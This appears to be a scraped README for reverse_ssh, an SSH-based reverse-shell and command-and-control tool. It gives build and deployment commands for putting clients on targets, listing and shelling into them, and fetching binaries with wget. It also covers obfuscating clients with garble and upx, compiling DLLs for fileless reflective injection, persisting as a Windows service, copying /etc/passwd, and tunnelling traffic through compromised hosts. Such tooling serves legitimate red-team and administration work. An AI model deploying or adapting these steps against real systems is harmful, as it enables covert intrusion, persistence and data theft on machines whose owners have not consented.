Want to use SSH for reverse shells? Now you can using reverse_SSH.<\/p>\n\n\n\n
Docker:<\/strong><\/p>\n\n\n\n Manual:<\/strong><\/p>\n\n\n\n NOTE:<\/strong> reverse_ssh requires Go 1.17<\/strong> or higher. Please check you have at least this version via The simplest build command is just:<\/p>\n\n\n\n Make will build both the Golang allows your to effortlessly cross compile, the following is an example for building windows:<\/p>\n\n\n\n You will need to create an Alternatively, you can use the –authorizedkeys flag to point to a file.<\/p>\n\n\n\n Put the client binary on whatever you want to control, then connect to the server.<\/p>\n\n\n\n You can then see what reverse shells have connected to you using Then typical ssh commands work, just specify your rssh server as a jump host.<\/p>\n\n\n\n Specify a default server at build time:<\/p>\n\n\n\n The RSSH server can also run an HTTP server on the same port as the RSSH server listener which serves client binaries. The server must be placed in the project Then you can download it as follows:<\/p>\n\n\n\n You can compile the client as a DLL to be loaded with something like Invoke-ReflectivePEInjection<\/a>. This will need a cross compiler if you are doing this on linux, use When the RSSH server has the webserver enabled you can also compile it with the link command:<\/p>\n\n\n\n Which is useful when you want to do fileless injection of the rssh client.<\/p>\n\n\n\n The SSH ecosystem allowsy out define and call subsystems with the e.g<\/p>\n\n\n\n The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.<\/p>\n\n\n\n Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we’re all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.<\/p>\n\n\n\n The RSSH server can send out raw HTTP requests set using the First enable a webhook:<\/p>\n\n\n\n Then disconnect, or connect a client, this will when issue a RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward ( First set up a tun (layer 3) device on your local machine.<\/p>\n\n\n\n Install a client on a remote<\/em> machine, this will not work<\/strong> if you have your RSSH client on the same host as your tun device.<\/p>\n\n\n\n This has some limitations, it is only able to send UDP\/TCP\/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts To enable the Then make sure that the Unfortunately the golang golang\/go#49952<\/a><\/p>\n\n\n\n So until that work is completed, you will have to generate a different (non-rsa) key. I recommend the following:<\/p>\n\n\n\n Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.<\/p>\n\n\n\n Note the By default, clients will run in the background. When started they will execute a new background instance (thus forking a new child process) and then the parent process will exit. If the fork is successful the message “Ending parent” will be printed.<\/p>\n\n\n\n This has one important ramification: once in the background a client will not show any output, including connection failure messages. If you need to debug your client, use the docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS=\"$(cat ~\/.ssh\/id_ed25519.pub)\" -v data:\/data reversessh\/reverse_ssh<\/pre>\n\n\n\n
git clone https:\/\/github.com\/NHAS\/reverse_ssh\n\ncd reverse_ssh\n\nmake\ncd bin\/\n\n# start the server\ncp ~\/.ssh\/id_ed25519.pub authorized_keys\n.\/server 0.0.0.0:3232<\/pre>\n\n\n\n
<\/a>Running<\/h2>\n\n\n\n
# copy client to your target then connect it to the server\n.\/client your.rssh.server.com:3232\n\n# Get help text\nssh your.rssh.server.com -p 3232 help\n\n# See clients\nssh your.rssh.server.com -p 3232 ls -t\n\n Targets\n+------------------------------------------+------------+-------------+\n| ID | Hostname | IP Address |\n+------------------------------------------+------------+-------------+\n| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |\n+------------------------------------------+------------+-------------+\n\n\n# Connect to full shell\nssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac\n\n# Or using hostname \n\nssh -J your.rssh.server.com:3232 root.wombo\n<\/pre>\n\n\n\n
<\/a>Setup Instructions<\/h2>\n\n\n\n
go version<\/code><\/p>\n\n\n\nmake<\/pre>\n\n\n\n
client<\/code> and server<\/code> binaries. It will also generate a private key for the client<\/code>, and copy the corresponding public key to the authorized_controllee_keys<\/code> file to enable the reverse shell to connect.<\/p>\n\n\n\nGOOS=windows GOARCH=amd64 make client # will create client.exe<\/pre>\n\n\n\n
authorized_keys<\/code> file much like the ssh http:\/\/man.he.net\/man5\/authorized_keys<\/a>, this contains your<\/em> public key. This will allow you to connect to the RSSH server.<\/p>\n\n\n\ncp ~\/.ssh\/id_ed25519.pub authorized_keys\n.\/server 0.0.0.0:3232 #Set the server to listen on port 3232<\/pre>\n\n\n\n
.\/client your.rssh.server.com:3232<\/pre>\n\n\n\n
ls<\/code>:<\/p>\n\n\n\nssh your.rssh.server.com -p 3232 ls -t\n Targets\n+------------------------------------------+------------+-------------+\n| ID | Hostname | IP Address |\n+------------------------------------------+------------+-------------+\n| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |\n+------------------------------------------+------------+-------------+\n<\/pre>\n\n\n\n
# Connect to full shell\nssh -J your.rssh.server.com:3232 root.wombo\n\n# Run a command without pty\nssh -J your.rssh.server.com:3232 root.wombo help\n\n# Start remote forward \nssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo\n\n# Start dynamic forward \nssh -D 9050 -J your.rssh.server.com:3232 root.wombo\n\n# SCP \nscp -J your.rssh.server.com:3232 root.wombo:\/etc\/passwd .\n\n#SFTP\nsftp -J your.rssh.server.com:3232 root.wombo:\/etc\/passwd .\n<\/pre>\n\n\n\n
<\/a>Fancy Features<\/h2>\n\n\n\n
<\/a>Default Server<\/h3>\n\n\n\n
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make\n\n# Will connect to your.rssh.server.com:3232, even though no destination is specified\n$ bin\/client\n\n# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232\n$ bin\/client example.com:3232<\/pre>\n\n\n\n
<\/a>Built in Web Server<\/h3>\n\n\n\n
bin\/<\/code> folder, as it needs to find the client source.<\/p>\n\n\n\n.\/server --webserver :3232\n\n# Generate an unnamed link\nssh your.rssh.server.com -p 3232\n\ncatcher$ link -h\n\nlink [OPTIONS]\nLink will compile a client and serve the resulting binary on a link which is returned.\nThis requires the web server component has been enabled.\n\t-t\tSet number of minutes link exists for (default is one time use)\n\t-s\tSet homeserver address, defaults to server --external_address if set, or server listen address if not.\n\t-l\tList currently active download links\n\t-r\tRemove download link\n\t--goos\tSet the target build operating system (default to runtime GOOS)\n\t--goarch\tSet the target build architecture (default to runtime GOARCH)\n\t--name\tSet link name\n\t--shared-object\tGenerate shared object file\n --fingerprint Set RSSH server fingerprint will default to server public key\n --upx Use upx to compress the final binary (requires upx to be installed)\n --garble\tUse garble to obfuscate the binary (requires garble to be installed)\n\n# Build a client binary\ncatcher$ link --name test\nhttp:\/\/your.rssh.server.com:3232\/test\n<\/pre>\n\n\n\n
wget http:\/\/your.rssh.server.com:3232\/test\nchmod +x test\n.\/test<\/pre>\n\n\n\n
<\/a>Windows DLL Generation<\/h3>\n\n\n\n
mingw-w64-gcc<\/code>.<\/p>\n\n\n\nCC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll<\/pre>\n\n\n\n
.\/server --webserver :3232\n\n# Generate an unnamed link\nssh your.rssh.server.com -p 3232\n\ncatcher$ link --name windows_dll --shared-object --goos windows\nhttp:\/\/your.rssh.server.com:3232\/windows_dll\n<\/pre>\n\n\n\n
<\/a>SSH Subsystem<\/h3>\n\n\n\n
-s<\/code> flag. In RSSH this is repurposed to provide special commands for platforms.<\/p>\n\n\n\n<\/a>All<\/h4>\n\n\n\n
list<\/code> Lists avaiable subsystemsftp<\/code>: Runs the sftp handler to transfer files<\/p>\n\n\n\n<\/a>Linux<\/h4>\n\n\n\n
setgid<\/code>: Attempt to change groupsetuid<\/code>: Attempt to change user<\/p>\n\n\n\n<\/a>Windows<\/h4>\n\n\n\n
service<\/code>: Installs or removes the rssh binary as a windows service, requires administrative rights<\/p>\n\n\n\n# Install the rssh binary as a service (windows only)\nssh -J your.rssh.server.com:3232 test-pc.user.test-pc -s service --install<\/pre>\n\n\n\n
<\/a>Windows Service Integration<\/h3>\n\n\n\n
<\/a>Full Windows Shell Support<\/h3>\n\n\n\n
<\/a>Webhooks<\/h3>\n\n\n\n
webhook<\/code> command from the terminal interface.<\/p>\n\n\n\n$ ssh your.rssh.server.com -p 3232\ncatcher$ webhook --on http:\/\/localhost:8080\/<\/pre>\n\n\n\n
POST<\/code> request with the following format.<\/p>\n\n\n\n$ nc -l -p 8080\nPOST \/rssh_webhook HTTP\/1.1\nHost: localhost:8080\nUser-Agent: Go-http-client\/1.1\nContent-Length: 165\nContent-Type: application\/json\nAccept-Encoding: gzip\n\n{\"Status\":\"connected\",\"ID\":\"ae92b6535a30566cbae122ebb2a5e754dd58f0ca\",\"IP\":\"[::1]:52608\",\"HostName\":\"user.computer\",\"Timestamp\":\"2022-06-12T12:23:40.626775318+12:00\"}% <\/pre>\n\n\n\n<\/a>Tuntap<\/h3>\n\n\n\n
-L<\/code>, -R<\/code>), but in this mode you can send UDP<\/code> and ICMP<\/code>.<\/p>\n\n\n\nsudo ip tuntap add dev tun0 mode tun\nsudo ip addr add 172.16.0.1\/24 dev tun0\nsudo ip link set dev tun0 up\n\n# This will defaultly route all non-local network traffic through the tunnel\nsudo ip route add 0.0.0.0\/0 via 172.16.0.1 dev tun0\n<\/pre>\n\n\n\n
ssh -J your.rssh.server.com:3232 user.wombo -w 0:any\n<\/pre>\n\n\n\n
ping<\/code> tool, as ICMP sockets are privileged on most machines. This also does not support tap<\/code> devices, e.g layer 2 VPN, as this would require administrative access.<\/p>\n\n\n\n<\/a>Help<\/h2>\n\n\n\n
<\/a>Garble<\/h3>\n\n\n\n
--garble<\/code> flag in the link<\/code> command you must install garble, a system for obfuscating golang binaries. However the @latest<\/code> release has a bug that causes panics with generic code.
If you are installing this manually use the following:<\/p>\n\n\n\ngo install mvdan.cc\/garble@f9d9919<\/pre>\n\n\n\n
go\/bin\/<\/code> directory is in your $PATH<\/code><\/p>\n\n\n\n<\/a>Permission denied (publickey).<\/h3>\n\n\n\n
crypto\/ssh<\/code> upstream library does not support rsa-sha2-*<\/code> algorithms, and work is currently ongoing here:<\/p>\n\n\n\nssh-keygen -t ed25519\n<\/pre>\n\n\n\n
<\/a>Windows and SFTP<\/h3>\n\n\n\n
sftp -r -J your.rssh.server.com:3232 test-pc.user.test-pc:'\/C:\/Windows\/system32'<\/pre>\n\n\n\n
\/<\/code> before the starting character.<\/p>\n\n\n\n<\/a>Foreground vs Background (Important note about clients)<\/h3>\n\n\n\n
--foreground<\/code> flag.<\/p>\n\n\n\n